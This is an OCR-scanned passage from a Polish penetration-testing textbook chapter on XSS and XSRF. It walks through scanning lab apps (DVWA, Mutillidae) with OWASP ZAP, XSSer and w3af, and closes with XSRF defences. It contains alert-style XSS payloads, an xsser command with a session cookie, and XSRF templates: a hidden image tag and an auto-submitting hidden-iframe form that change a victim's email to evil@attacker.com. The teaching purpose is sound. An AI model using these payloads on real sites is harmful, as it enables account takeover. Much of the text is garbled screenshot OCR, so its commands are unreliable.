v Pdwa
| | P GET:login.php

| | P GET:index.ph
¥ [ Fvulnerabilities

B 'E posTilogin. pj

% Quick Start

[a

= Reguest

—

|Header: Text

v] | Body: Text

) OO

Attack
Delete

>

refox/37.0

68.1.72/dvwa/Login.php HTTP/1.1

A

la/5.0 (X11; Linux x86_64; rv:37.0)

Bl R GETaxss_s | nelude in Cantext " | annlicationsvhtmlyml annlication/xml;q v
@ FPOST:xss_g ) 6 t_ont.:.t | 1 Form-based Auth Login request
[ GET:wulnerab ) et * | 2. Form-based Auth Login request
[« o Exclude from Context >
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W oknie konfiguracji wybierz opcje Authentication (uwierzytelnianie), a nastepnie skonfiguruj
parametry nazwy uzytkownika i hasta. W opcji Users (uzytkownicy) zdefiniuj nazwe uzytkownika
i haslo, a nastepnie wybierz tego uzytkownika w opcji Forced User (wymuszany uzytkownik):

Session Properties

v Session 1: Authentication @
General

Exclude from proxy
Exclude from scanner
Exclude from spider

This panel allows you to configure the authentication scheme used for this Context.

Currently selected Authentication method for the Context:

¥ Contexts | Ferm-based Authentication q

v1 -

1. Include in context Ij:l:mflgure Authentication Method

1: Exclude from context Login Form Target URL *:

1: Structure http://192.168.1.72/dwwallogin.php @ select...

1: Technology P

18 COR e Login Request POST Data (if any):

1: Users username=user&bassword:user&Login:Login

1: Forced User Username Parameter * Password Parameter *

1: Session Management |Login Q|Login q
v2 The username and password fields will be replaced, during authertication, with the username and

2: Include in context password corresponding to application's users.

2: Exclude from context

2; Structure Regex pattern identified in Logged In response messages:

2: Technology

2: Authentication
2: Users

2: Forced User

Regex pattern identified in Logged Out response messages:

Po skonfigurowaniu tych trzech opcji w oknie gléwnym zostanie aktywowana opcja Forced User
Mode (tryb uzytkownika wymuszonego):

Untitled Session - OWASP ZAP - | o

Eile Edit View Analyse Report Tools Qnline Help

(Standardmode jw) (1 S M F & B OO0 OO ¢ =« Pk ) @ % @ &L|C3 @
@ sites | . | scripts [ £ quickstart | = Request | Response<= | 3 BreForced User Mode enabled - click to disable][
v @ msites [Header: Text || (Body: Text |v] (][]

¥ Bktbn N 021801

Po wlhaczeniu opcji Forced User Mode kazde zadanie przesylane przez ZAP bedzie automatycznie
uwierzytelniane. Jezeli uzytkownik zostanie wylogowany podczas skanowania, automatycznie
nastapi ponowne zalogowanie.

Tryby dziatania
ZAP mozna skonfigurowaé do dziatania w kilku trybach. W lewym gérnym rogu okna znajduje sie
lista rozwijana zawierajaca trzy tryby:

B Safe mode (tryb bezpieczny) — w tym trybie ZAP skanuje aplikacje w spos6b
nieintruzyjny, tzn. dziata jak skaner pasywny, prébujac zidentyfikowa¢ najprostsze
bledy, takie jak mozliwo$¢ przegladania katalogéw czy wycieki informacji. Narzedzie
aktywnie nie wchodzi w interakcje z aplikacja, wiec nie ma mozliwosci wykrycia
powaznych bledéw zabezpieczen, takich jak luki XSS.

170
Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rf/kalil2
http://helion.pl/page354U~rt/kalil2

Rozdziatl 6. ¢ Luki umozliwiajace przeprowadzanie atakéw XSS i XSRF

B Protected mode (tryb chroniony) — wybierajac tryb chroniony, mozna stosowac
agresywne techniki skanowania w odniesieniu do adresu URL okreslonego w zakresie.

B Standard mode (tryb standardowy) — w tym trybie mozna stosowa¢ wszystkie
agresywne metody skanowania, bez wzgledu na to, czy dany adres URL jest w zakresie,

czy nie.

Polityka skanowania i atak

Za pomoca, narzedzia ZAP mozna szuka¢ wszystkich najwazniejszych luk w zabezpieczeniach, ale
my wykorzystamy go przede wszystkim do szukania luk umozliwiajacych przeprowadzanie atakéw
XSS. W zwigzku z tym musimy zdefiniowa¢ polityke skanowania, aby skonfigurowaé reguly XSS

w ramach aktywnego skanowania.

Na goérze znajduje sic menu o nazwie Analyse (analizuj), w ktérym nalezy kliknaé pozycje Scan
Policy (polityka skanowania). Spowoduje to otwarcie okna konfiguracji. Obok nazwy kazdego testu
znajduja sie opcje Threshold (prég) i Strength (moc) — zobacz rysunek na nastepnej stronie.

Ponizej znajduje sie szczegotowy opis tych opcji:

B Threshold — ta opcja okresla poziom niezawodnosci luk wykrytych w tescie.
Ustawienie Low (niski) powoduje, ze czesciej bedg wystepowac falszywe wyniki
dodatnie. Ustawienie High (wysoki) pozwala znaleZ¢ mniej luk. Wprawdzie dzieki
temu otrzymamy mniej falszywych wynikéw dodatnich, ale jednoczes$nie mozemy
przeoczy¢ co$ waznego. Dlatego najlepiej jest wybraé ustawienie posrednie,

czyli opcje Medium.

Client browser
Information gathering
Injection
Miscellaneous
Passive

Server security

¥ Scan Policy Scan Policy 2

Scan Policy

Policy name: XSS_policy

Default Alert Threshold: [Medium = (Default threshold)

Default Attack Strength: [Medium | (Default attacks)
Passive Alert Threshold: [Medium | (Default threshold)

Category | Threshold | Strength |
Information gathering OFF Default
Client browser OFF Default
Server security OFF Default
Miscellaneous OFF Default

| Leoad Policy | | Save Policy |

rhresholds and strengths can be changed by clicking on them OK ancel

B Strength — ta opcja okresla liczbe testow, ktére ZAP ma wykonaé w celu

potwierdzenia istnienia luki. Wybér ustawienia Low sprawi, ze ZAP przetestuje
wykrytg luke przy uzyciu mniejszej liczby pakietéw danych i test szybciej
dobiegnie kofica. Z drugiej strony, ustawienie High zapewni wyprébowanie
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wiekszej liczby metod ataku, co wydluzy czas trwania testu. Opcja Insane
(bez umiaru), jak wskazuje nazwa, powoduje wykonanie bardzo duzej liczby
atakéw i powinno sie z niej korzystaé tylko w warunkach laboratoryjnych

i w srodowiskach kontrolowanych.

Aby skonfigurowaé polityke dotyczacg luk XSS, nalezy poda¢ jej nazwe i z lewej strony w sekeji
Injection wylaczy¢ wszystkie testy z wyjatkiem cross-site scripting (persistent) i cross-site scripting
(reflected). Jesli zamierzasz jeszcze kiedy$ wykorzysta¢ te polityke, kliknij przycisk Save Policy
(zapisz polityke). Nastepnie kliknij prawym przyciskiem myszy docelowy adres URL i przejdz
do Attack/Active scan all in scope (atak/aktywne skanowanie wszystkich w zakresie).

W efekcie ZAP rozpocznie swoje czary i wySwietli powiadomienia o wszystkich znalezionych
lukach XSS u dotu okna na karcie Alerts. Klikniecie jednego z powiadomienn spowoduje wyswie-
tlenie wystanego do serwera zadania HTTE ktére spowodowato ujawnienie luki. Na rysunku na
nastepnej stronie widaé, ze wstrzyknieto skrypt do parametru author.

XSSer

Program Cross Site Scripter (XSSer) to narzedzie do automatycznego wykrywania i wykorzy-
stywania luk XSS. W Kali Linuksie dostepna jest wersja 1.6 (beta). Program ten zawiera kilka
opcji umozliwiajacych obejscie filtréw danych wejsciowych zaimplementowanych przez twércow
atakowanej aplikacji.

File Edit View Analyse Report Tools Online Help

(Standardmede ) (1 E M 2 & & D08 DE@D § =+« kb bk @ X6 & =23 ©

@ Sites | Scripts [ % Quick Start T = Request T Responsed= T % Break T Script Console ]

v @ Msites | Header: Text q | Body: Table q Bo
¥ P http://192.168.1.72
] # GET:mutilidae POST http://192.168.1.72/mutillidae/index.php?page=view-somecnes-blog.php HTTP/1.1 A
v mmutillidae User-Agent: Mozilla/s.0 (X11; Linux x86 64; rv:37.0) Gecko/20100101 Firefox/37.0

Accept: text/shtml,applicationyxhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Referer: http://192.168.1.72/mutillidae/index.php?page=view-someones-hlog.php

Cookie: showhints=0; PHPSESSID=n78lph8ojLlpokhplilms3s73h5; acopendivids=swingset,jotto,
phpbbz, redmine; acgroupswithpersist=nada

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

/@] M GET:index.phplpage)
> | images

™ POST:index.php(page)(

Type | Parameter Name | value |
form author %27%22%3Cscript¥%3Ealert%281%29%3B%3C% 2Fscript%3E
form view-someones-blog-php-submit-button  View+Blog+Entries
S o T
( % Spider T # ' Forced Browse T i Fuzer T (=] Params T =4 Http Sessions T L) Clients T ¥ WebSockets T Output ]
= History T 2, search T 3 Break Points T [0 alerts = T ) Active Scan
@ & Cross Site Scripting (Reflected) i
¥ (& Alerts (6) URL: http://192,168.1, 72/mutillidaefindex php?pa
¥ (& M Cross Site Scripting (Reflected) (3) Risk: [ High
[ GET: http://192.168.1.72/mutillidae/index. php?page=javascriptd3Aalert%281%29%38 Reliability: Suspicious
|| POST: http://192.168.1.72/mutillidae/index. php?page=javascript%3Aalert%281%29%38 Parameter: author
B POST: http://192.168.1,72/mutillidae/index php?page=view-someones-blog.php Attack: “=script=alert(1);</script>
> [ﬁ # SQL Injection Evidence: "<script=alert(1);</script>
» (5 v Cookie set without Httponly flag (2) EWEld) e
e WASC Id: 8
- ﬁ P Private IP disclosure (2) Description
» [ P X-Content Type-Options header missing (3) 1
» [§5  X-Frame-Options header not set (3) Cross-site Scripting (XSS) is an attack technique that/
D e —
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Funkcje
Oto niektére najwazniejsze funkcje programu XSSer:
B narzedzie wiersza polecen i interfejs graficzny;
wyswietlanie szczegétowych danych dotyczacych ataku;
wstrzykiwanie kodu za pomoca metod GET i POST;
mozliwo$é dodania ciasteczka w odniesieniu do witryn wymagajacych uwierzytelniania;

mozliwo$¢ ustawiania réznych pél nagléwka HTTP, np. Referrer i User-Agent;

rézne techniki obchodzenia filtréw, np. stosowanie kodowania dziesietnego
i szesnastkowego oraz korzystanie z funkcji unescape().

Graficzny interfejs uzytkownika (ang. graphical user interface — GUI) programu XSSer mozna
uruchomié¢ wprost z poziomu powloki za pomoca opcji -gtk. Zawiera on takze kreator dla nowych
uzytkownikéw, ktéry zadaje kilka pytan i na podstawie otrzymanych odpowiedzi tworzy szablon.
Po zdefiniowaniu wszystkich opcji dotyczacych planowanego testu nalezy kliknaé¢ przycisk Aim
(celuj), aby pozwoli¢ programowi dziata¢ (zobacz rysunek na nastepnej stronie).

XSSer v1.6b: "Grey Swarm!" - (http://xsser.sf.net) - | O
XSSer | Expert Visor | Wizard Helper  Documentation About
Target(s) Connection(s)
Type of Connection(s): O Mormal ® GET O POST I”index.php?name=" I o
Vector(s) [ Checker(s)
f
Final (s) ~ 7 -~ ~
Proxy: ﬂ [ Ignore-proxy Threads: |5 ~| Timeout: |30 |J| Retries: |1 ~| Delay: |0 |
Report(s) _
V
s} User-Agent: “ I Referer: [ I
Swarm(s)
Cookie: I I [] Drop-coek [ X-Forwarded-Fi  [] X-Client-
Headers: I
Authentication Type(s): @ None O Basic (O Digest (O GSS O NTLM
I TCP-nodelay [ Follow-redirects
Fly moda(s): O Explorer | @ Intruder |http://192.168.199.2/dvwa/vulnerabilities/xss_r | [[J Load file [ Tor Proxy [ Automatic [] Crawler
Command(s): |xsser j IAim!
f M
Statistics ] Tweet [ Verbose [l Launch ] Shorters: 0 FLY!!!

Skrét gtk oznacza Gimp Toolkit, czyli zestaw narzedzi uzywany przez programistéw do tworzenia graficznych
interfejsow do programow.
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Dos$wiadczeni hakerzy wolg postugiwaé sie wierszem polecen. Za pomocg, polecenia xsser -help
mozna wyswietli¢ liste obstugiwanych przez narzedzie opcji. Najwazniejsze polecenia sa wymie-
nione w ponizszej tabeli:

Opcja Opis

-u Okresla docelowy adres URL

-9 Wstrzykuje skrypt w okreslonym parametrze GET

-p Wstrzykuje skrypt w okre$lonym parametrze POST
--heuristic Prébuje sie dowiedzie¢, ktdre znaki filtruje aplikacja
--cookie Wstawia ciasteczko do zgdania HTTP

-s -v Opcje wyswietlajgce statystyki i petne dane wynikowe

XSSer to zaawansowane narzedzie zawierajace znacznie wiecej opcji niz wymieniono w tej tabeli,
ale ten zestaw powinien wystarczy¢é na dobry poczatek.

Ponizej przedstawiam przyklad testu aplikacji sieciowe]j podatnej na ataki XSS. Aplikacja ta
wymaga uwierzytelniania, po ktérego dokonaniu ustawia ciasteczko identyfikujace uzytkownika
w nastepnych operacjach. Ciasteczko to jest przesylane w zadaniu za pomoca opcji -cookie. Para-
metr do przetestowania jest przekazywany za pomocg opcji -g, tak jak w metodzie GET:

xsser -u "http://192.168.1.72/dvwa/vulnerabilities/" -g
"xss_r/?name=" --cookie="security=Tow;
PHPSESSID=n781ph80j1p0khplilms3s73h5" -s —v

Ze wzgledu na uzycie opcji Verbose w wynikach pokazane sa tez rézne domyslne opcje ustawione
przez program XSSer. XSSer wstrzykuje parametr i prébuje sie dowiedzied, czy jest on podatny
na atak XSS, jak wida¢ na rysunku na nastepnej stronie.

w3af

Kolejnym ciekawym narzedziem w systemie Kali Linux jest srodowisko do przeprowadzania
audytéw i atakowania aplikacji sieciowych, ktérego skrétowa nazwa brzmi w3af. Uzytem stowa
»Srodowisko”, poniewaz jest to niezwykle bogato wyposazony program. Obstuguje sie go za po-
mocg menu. Zawiera liczne bardzo przydatne i pozwalajace oszczedzié czas funkcje, takie jak
automatyczne uzupehianie podobne do tego w Metasploicie, i moze si¢ pochwali¢ wyjatkowo
bogatg baza wtyczek.

Na szczeg6lng uwage zastuguje funkcja tworzenia fadunkéw do hakowania aplikacji sieciowych.
Wykorzystywanie luk w aplikacjach sieciowych i uzyskiwanie dostepu do komputera docelowe-
go przez wyslanie wlasnego tadunku danych zawsze jest trudne, ale §rodowisko w3af zawiera
wtyczki, dzieki ktérym ta faza staje sie nieco mniej ucigzliwa, oraz umozliwiajace integracje
z Metasploitem, dzieki czemu mozna wystaé tadunek Metasploita do komputera docelowego
i uzyé go w p6zniejszej fazie eksploracji.
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check for the target: (ht lnerabiliti

Wtyczki
Wtyczki w programie w3af sg podzielone na kilka kategorii, z ktérych najwazniejsze opisalem
ponizej:

B Crawl (przegladanie stron) — wtyczki z tej kategorii stuza do przegladania
zawartosci stron i identyfikacji nowych adreséw URL. Znajdujg potencjalne punkty
wstrzykiwania kodu, ktére moga by¢ wykorzystane przez inne wtyczki.

B Audit (audyt) — jest to grupa wtyczek wykorzystujacych punkty wstrzykiwania kodu
wykryte przez wtyczki z kategorii Crawl i sprawdzajacych ich podatno$é na ataki.

B Grep — te wtyczki stuzg do identyfikacji najprostszych zdobyczy, takich jak strony
blted6w, komentarze, nagtéwki HTTP i rézne usterki powodujace wyciek informacji.
Dane sg zdobywane przez analize zadan i odpowiedzi.

B Infrastructure (infrastruktura) — sa to wtyczki do badania serwera docelowego
oraz identyfikowania systemu operacyjnego, wersji bazy danych i zdobywania
informacji dotyczacych DNS.

B Output (wyniki) — wtyczki z tej kategorii definiujg format wynikéw.

B Auth (autoryzacja) — w aplikacjach wymagajacych uwierzytelniania wtyczka
ta dostarcza podane wezesniej nazwe uzytkownika i hasto, dzieki czemu mozliwe
jest automatyczne uwierzytelnianie w aplikacji.

Narzedzie w3af znajduje sie w sekcji Applications/Web Application Analysis. Ewentualnie mozna
tez uruchomi¢ narzedzie wiersza polecen, wpisujac w terminalu polecenie w3af_console. Po jego
wykonaniu za pomocy polecenia help mozna wyswietli¢ liste dostepnych mozliwosci:
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Aby wyswietli¢ wszystkie kategorie wtyczek, nalezy wykonaé polecenia plugins i help. Aby wy-
swietlié szczegotowe informacje o r6znych wtyczkach dostepnych w wybranej kategorii, nalezy
wpisaé nazwe kategorii, np. audit, jak widaé na ponizszym rysunku:

Aby przygotowaé¢ wybrang wtyczke do uzycia, nalezy wpisa¢ nazwe kategorii i kilka pierwszych
znakéw nazwy tej wtyczki, a nastepnie nacisna¢ klawisz Tab.

Interfejs graficzny

Sposéb testowania luki XSS zademonstruje na przykladzie z uzyciem graficznego interfejsu
uzytkownika programu w3af. Program ten ma kilka gotowych profili zawierajacych wybér wtyczek
zgrupowanych w jeden pakiet. Na przyklad profil OWASP_TOP10 moze wybraé ktos, kto chce
przetestowaé¢ adres URL pod katem dziesieciu najczesciej spotykanych luk bezpieczenistwa
aplikacji sieciowych wedlug organizacji OWASP:

176
Kup ksigzke Polec¢ ksigzke


http://helion.pl/page354U~rf/kalil2
http://helion.pl/page354U~rt/kalil2
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Scan config ! Log Results Exploit
Profiles Target: |http://192.168.1.72/mutillidae/i
empty_profile Active | Plugin -
OWA S le - = audit L
audit_high_risk |#7 blind_sqli )
bruteforce buffer _overflow
fast_scan [[1 |#7 cors_origin
full —audit csrf
full _audit_spider_man dav
sitemap |27 eval
web_infrastructure |7 file _upload

format_string

frontpage

|47 generic )

Aby sprawdzi¢ wybrany adres URL pod katem luk XSS, nalezy wybra¢ wtyczke XSS z kategorii
audytowe;j. Jezeli test ma dotyczy¢ luki XSS z utrwaleniem, u dotu ekranu nalezy wybraé opcje
persistent xss. Nastepnie wystarczy poda¢ docelowy URL i kliknaé¢ przycisk Start (zobacz
pierwszy rysunek na nastepnej stronie).

W oknie Log zostanie wy$wietlona informacja o wykrytej luce XSS wraz z identyfikatorem
zadania, ktéry mozna powiazaé z konkretnymi zgdaniami wystanymi do aplikacji docelowe;.
W tym okienku wyswietlany jest tez stan skanowania (zobacz drugi rysunek na nastepne;j stronie).

Exploit

Target: [http:ﬁlQE. 168.1.72/mutillidae/index. php’page=viewfsomeonesfblog.php‘ |
=

xpath

Active Plugin
b=

output

Active  Plugin =
Xss
[ response_splitting
[
[ [ ofi
[ shell_shock
O sqli This plugin finds Cross Site Scripting (XSS) vulnerabilities.
O ssi
One configurable parameters exists:
[ 27 ssl_certificate - persistent_xss
] un_ssl

To find XSS bugs the plugin will send a set of javascript strings to
every parameter, and search for that input in the response.

[~] The "persistent_xss" parameter makes the plugin store all data
sent to the web application and at the end, reguest all URLs again
searching for those specially crafted strings.

persistent_xss \@I

EStartI |.- |
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Scan config | Log | Results Exploit

S
[Sunday 26 April 2015 06:45:34 PM IST] A Cross Site Scripting vulnerability was found at: “http://192.168.1.7 2/mutillidae/index.php”, using HTTP method GET. The sent data was: "page="
The modified parameter was "page". This vulnerability was found in the request with id 33

[Sunday 26 April 2015 06:45:35 PM IST] Scan finished in 4 seconds.
[Sunday 26 April 2015 06:45:35 PM IST] Stopping the core...

Aby sie dowiedzieé, ktéra para zadanie-odpowiedz spowodowala ujawnienie usterki, nalezy
przejs$é do okna Results (wyniki), w ktérym znajduja sie zaréwno nagléwki, jak i tresé obu tych
elementéw komunikacji. W ponizszym przykladzie podatny na ataki jest parametr page:

Scan config | Log | Resutts | Exploit
—

KB Browser | URLs Request/Response navigator

Vulnerabilities ) Informations ~ |A Cross Site Seripting vulnerability was found at: "http://192.168.1.7 2/mutillidae/index.php", using HTTP method GET. The sent data was: "page=" The

Knowledge Base modified parameter was “page”. This vulnerability was found in the request with id 33
hd XSS

hd XS5
M Request | Response

Raw | Headers

GET http://192.168.1.72/mutillidae/index .php?page{f}:bh r%3C%2F -%3E62zbhr%2F%2A62bhrs226zbh rézbh rs276zbhrézbhrs ”
606zbhrézbhris20%3D HTTP/1.1

Host: 192.168.1.72

Cookie: showhints=0; PHPSESSID=es56cd7s5i5845c8m]j f7vlcsB4

Accept-encoding: gzip, deflate

Accept: */*

User-agent: w3af.org

Luki typu XSRF

Luki typu XSRF (ang, cross-site request forgery) sa czesto mylnie uwazane za luki podobne do XSS.
Jednak w ataku XSS haker wykorzystuje zaufanie, jakim uzytkownik darzy wybrang witryne,
i dzieki temu sktania go do wykonania swoich skryptéw. Natomiast sednem atakéw XSRF jest
wykorzystanie zaufania, jakim witryna darzy przegladarke uzytkownika, w efekcie czego wykonuje
wszelkie zgdania pochodzace od uwierzytelnionej sesji bez weryfikacji, czy rzeczywiscie uzytkow-
nik chciat dang czynno$¢ wykonac.

W ataku XSRF napastnik wykorzystuje fakt, ze uzytkownik jest juz uwierzytelniony w aplikacji,
dzieki czemu wszystko, co klient wysle do serwera, zostanie potraktowane jako legalna dziatalnosé.

Jesli nie zostana wdrozone odpowiednie zabezpieczenia, w ataku XSRF moze zosta¢ wykorzystana
kazda funkcja aplikacji sieciowej, ktéra wymaga chocby jednego zadania w ramach uwierzytel-
nionej sesji. Oto kilka czynno$ci, jakie napastnik moze wykona¢ w ramach ataku typu XSRF:

B zmiana danych uzytkownika w aplikacji sieciowej, np. adresu e-mail i daty urodzenia;
B wykonanie nielegalnych transakeji bankowych;

B nieuczciwe glosowanie na stronach internetowych;

|

dodawanie pozycji do koszyka bez wiedzy wlasciciela w sklepie internetowym.
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Rozdziatl 6. ¢ Luki umozliwiajace przeprowadzanie atakéw XSS i XSRF

Warunki powodzenia ataku

Powodzenie wykorzystania luki XSRF zalezy od kilku czynnikéw:

B Poniewaz atak XSRF polega na wykorzystaniu uwierzytelnione;j sesji, ofiara musi
utworzy¢ aktywna uwierzytelniona sesje w aplikacji docelowej. Ponadto aplikacja
ta musi zezwala¢ na wykonywanie transakeji w sesji bez dodatkowego uwierzytelniania.

B XSRF to slepy atak, w ramach ktérego atakowana aplikacja sieciowa nie wysyla
odpowiedzi do napastnika, tylko do ofiary. Napastnik musi zna¢ parametry witryny
mogace wywolaé okreslong akcje. Jesli np. haker chce zmieni¢ zarejestrowany
w witrynie adres e-mail ofiary, to musi znalez¢ parametr stuzacy do dokonywania
takich zmian. Zatem napastnik musi mie¢ dobre rozeznanie w sposobie dzialania
aplikacji, ktére moze zdoby¢ przez bezposredni kontakt.

B Jesli aplikacja wykorzystuje metode POST, napastnik musi znalez¢ sposéb na naklonienie
uzytkownika do klikniecia spreparowanego adresu URL lub wej$cia na specjalnie
przygotowang strone. Cel ten mozna osiggnaé za pomoca inzynierii spolecznej.

Technika ataku

Z trzeciego punktu w poprzedniej sekcji wynika, ze ofiara musi bezwiednie za pomoca swojej
przegladarki wystaé zadanie do aplikacji docelowej. Mozna to osiagna¢ na kilka sposobéw:

B Jedna z najczesciej stosowanych technik, ktéra tez powszechnie wykorzystuje sie
w demonstracjach atakéw XSRF, jest uzywanie znacznika obrazu. Metoda ta polega
na zmuszeniu podstepem ofiary do wejscia na specjalng strone, na ktérej tadowany
jest maty obraz wykonujacy w imieniu ofiary nieuczciwg transakcje. Ponizej znajduje
sie przyklad takiego kodu:

<imgsrc=http://vulnerableapp.com/userinfo/edit.php?email=evil@attacker.
—>com height="1" width="1"/>
Wysoko$¢ i szeroko$é obrazu zostaly ustawione zaledwie na 1 piksel, przez co nawet
jesli zrédto obrazu nie jest prawidlowe, uzytkownik i tak tego nie zauwazy. Kod
ten zmienia adres e-mail uzytkownika aplikacji na evil@attacker.com. Ta technika
dziala tylko w przypadku zgdan GET.

B Te samg technike mozna zastosowa¢ z uzyciem znacznika skryptu. Podczas
ladowania szkodliwej strony w przegladarce uzytkownika nastepuje wykonanie
skryptu, ktéry niepostrzezenie wykonuje nielegalng transakcje.

B Przeprowadzenie ataku na witryny wykorzystujace metode POST jest trudniejsze.
Napastnik musi postuzy¢ sie ukryta ramka wewnetrzna i zatadowaé w niej formularz,
ktéry ma za zadanie wykonaé zadana funkcje w odniesieniu do podatnej na ataki
aplikacji sieciowej. Ponizej przedstawiam stosowny przyktad:

<iframe style=visibility:"hidden" name="csrf-frame"></iframe>
<form name="csrf"
action=""http://vulnerableapp/userinfo/edit.php"
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method="POST" target="csrf-frame">
<input type="hidden" name="email"
value="evil@attacker.com">
<input type='submit' value='submit'>
</form>
<script>document.csrf.submit();</script>

Ataki typu XSRF czasami nazywane sg atakami najazdu na sesje (ang. session riding attack).

Niektorzy dziwig sie, jak to mozliwe, ze strona spreparowana przez napastnika wysyta formularz
do innej strony, ktéra znajduje sie w innej domenie. Przypominam o opisanej w sekcji ,, Historia
atakéw typu XSS” zasadzie tego samego pochodzenia oraz o tym, skad wrziely sie ataki XSS. Nale-
zy jednak wiedzied, ze ta zasada nie zabrania zatwierdzania formularzy miedzy r6znymi domena-
mi. Uniemozliwia ona tylko dostep do danych za pomoca skryptéw znajdujacych sie w innej do-
menie niz te dane.

Szukanie luk typu XSRF

Z opisu luki XSRF jasno wynika, ze jest to usterka logiki biznesowej. Doswiadczony programi-
sta zawsze doda do aplikacji sieciowej mechanizm wymagajacy potwierdzenia tozsamosci uzyt-
kownika przed wykonaniem jakiejkolwiek waznej operacji, takiej jak zmiana hasta, aktualizacja
danych osobowych czy wykonanie transakeji finansowej na internetowym koncie bankowym.
Szukanie luk w logice biznesowej nie jest zadaniem odpowiednim dla automatycznych skaneréw
aplikacji sieciowych, poniewaz te dzialajg na bazie gotowych zestawow regul. Wickszosé takich
skaneréw wykonuje np. ponizsze czynnosci, aby sie dowiedzie¢, czy dany adres URL jest podatny
na ataki XSRF:
B sprawdzenie, czy w zadaniu i odpowiedzi wystepuja nazwy tokenéw typowe
dla zabezpieczen przed atakami XSRF;
B dedukeja, czy aplikacja sprawdza pole odsylacza, przez wystanie falszywego odsylacza;
B tworzenie mutantéw w celu sprawdzenia, czy aplikacja prawidlowo weryfikuje
warto$¢ tokena;

B szukanie tokenéw i edytowalnych parametréw w taficuchu zapytania.

Wszystkie wymienione techniki stosowane przez wiekszo$¢ automatycznych skaneréw aplikacji
sa obarczone wysokim ryzykiem fatszywych wynikéw pozytywnych i negatywnych. W aplikacji
moga by¢ zastosowane catkiem inne metody zapobiegania atakom XSRF i wéwczas narzedzia
postugujace sie tymi technikami staja sie bezuzyteczne.

Najlepszym sposobem analizy aplikacji pod katem wystepowania luki XSRF jest zdobycie pelnej
wiedzy na temat sposobu dziatania celu. Mozna uruchomié posrednik Burp albo program ZAP
i przechwycié¢ troche ruchu, aby przeanalizowa¢ zgdania i odpowiedzi. Potem mozna stworzy¢
strone HTML-owg z replika podatnego kodu zidentyfikowanego dzieki posrednikowi. Najlepsza
metoda szukania luk XSRF jest metoda manualna.
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Dobrzy ludzie z OWASP sprébowali ulatwié ten reczny proces i stworzyli projekt OWASP
CSRFTester. Oto wskazéwki krok po kroku, jak skorzystaé z tego narzedzia:
1. Pobierz program ze strony:
hittps:/www.owasp.orgfindex.php/Category:OWASP_CSRF Tester_Project,
na ktérej znajduje sie tez instrukcja obstugi.
2. Za pomocg wbudowanej w narzedzie funkcji proxy zapisz transakcje,
ktora cheesz przetestowaé pod katem wystepowania luki XSRE

3. Na podstawie przechwyconych danych zmieri parametry i wartosci,
ktére podejrzewasz o podatnosé na ataki XSRE

4. Gdy to wszystko zrobisz, narzedzie CSRFTester utworzy plik HTML-a. Przy
jego uzyciu mozesz stworzy¢ atak wykorzystujacy opisang weze$niej metodyke.

Innym narzedziem, ktérego czesto uzywa sie do tworzenia stron demonstracyjnych dla luk CSRF,
jest pinata-csrf-tool dostepne pod adresem: hitps://code.google.com/p/pinata-csrf-tool).

Techniki obrony przed atakami XSRF

Ponizej przedstawiam liste niektérych technik obrony przed atakami typu XSRF:

1. Atak XSRF latwiej jest przeprowadzié, gdy podatny parametr jest przekazywany
metoda GET. Dlatego pierwsza linia obrony jest unikanie uzywania tej metody.
Rezygnacja z niej nie stanowi doskonalego zabezpieczenia, ale utrudnia hakerowi
zadanie.

2. W opisanej wezesniej metodyce ataku haker tworzy nowa strone internetows,
na ktérej umieszceza formularz HTM L-a, wysylajac zadania do podatnej na ataki
aplikacji. Odsytacz HTTP jest wysylany przez przegladarke, gdy klient zostanie
skierowany na okreslong strone. Jezeli aplikacja sprawdza zawartosé pola HTTP
Referrer, to mozna ten fakt wykorzysta¢ do obrony, odrzucajac wszystkie polaczenia
pochodzace z innej domeny.

3. Przed wykonaniem waznej czynnosci nalezy wyswietla¢ test CAPTCHA, aby
uzytkownik musiat recznie wykonaé zadanie przed przejsciem do kolejnego etapu.

4. Dla kazdego formularza HTML-a mozna zaimplementowa¢ niepowtarzalny token,
ktérego warto$ci napastnik nie moze znad.

5. W witrynach o wysokich wymaganiach bezpieczenistwa powinien obowigzywacé krétki
czas wazno$ci sesji. Im krétsza sesja, tym mniejsze ryzyko, ze kto§ przeprowadzi
udany atak, poniewaz zanim do tego dojdzie, ofiara zostanie wylogowana z aplikacji.
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Podsumowanie

W tym rozdziale szczegtowo oméwilem luki typu XSS. Na poczatku zwiezle przedstawitem
historie tej usterki, a nastepnie opisalem rézne rodzaje atakéw XSS, wskazujac potencjal kazde-
2o z nich. Kluczem do powodzenia ataku XSS jest wykorzystanie JavaScriptu. W przyktadach
za pomoca kodu w tym jezyku wykradalismy ciasteczka, rejestrowali§my naciskane klawisze oraz
podmienialismy zawarto$é strony internetowej. Kali Linux zawiera kilka narzedzi do szukania
i wykorzystywania luk typu XSS, przy uzyciu ktérych przetestowalismy aplikacje DVWA. Nastep-
nie przeszedlem do oméwienia atakéw typu XSRF oraz wyjasnilem, jakie warunki muszg by¢
spelnione, aby przeprowadzenie takiego ataku moglo sie powiesé.

W nastepnym rozdziale opisuje stosowane w aplikacjach sieciowych mechanizmy szyfrowania
oraz rézne sposoby przeprowadzania atakéw.
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A analizator podatnosci, 54
anonimowe polaczenia, 58
ACK scan, 76 aplikacje sieciowe, 26
ACT, AJAX Crawling Tool, 235 dla pentesteréw, 29
adres MAC, 77 identyfikowanie systemu, 81
AES, Advance Encryption Standard, 188 najwazniejsze wady, 99
AJAX, 227, 231 posredniki, 49
bezpieczefistwo, 231 przeszukiwanie, 94
sktadniki technologii, 229 SSL, 185.
zasada dzialania, 229 testowanie, 26
AJAX Spider, 236 testowanie fuzzingowe, 254

aktywne testowanie zabezpieczen, 20 wielowarstwowe, 38

algorytm APT, Advanced Persistent Threats, 27, 203
AES, 188 atak typu
DES, 188 Credential Harvester Attack, 210
Diffiego-Hellmana, 187 CRIME, 193
ECC, 188 CSRF, 114, 115
ECDHE, 193 DoS, 25
IDEA, 188 Heartbleed, 193
MAC, 189 Java Applet Attack, 209
MD5, 193 Metasploit Browser Exploit, 212
RC4. 188, 193 man in the middle, 116, 196, 223
RSA’ 187’ 193 spear phishing, 206
SHA. 189 SQL injection, 144, 145

Tabnabbing Attack, 212
XSRF, 155

techniki obrony, 181
XSS, 112, 155-157, 221

algorytmy szyfrowania
asymetrycznego, 187
symetrycznego, 188

Amap
skanowanie wersji, 81 na DOM, 161
analiza refleksyjne, 161
kodu klienckiego, 237 z utrwaleniem, 159
réznic SSL, 88 z uzyciem metody POST, 164
tokenéw, 117 Web Jacking Attack, 211
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ataki
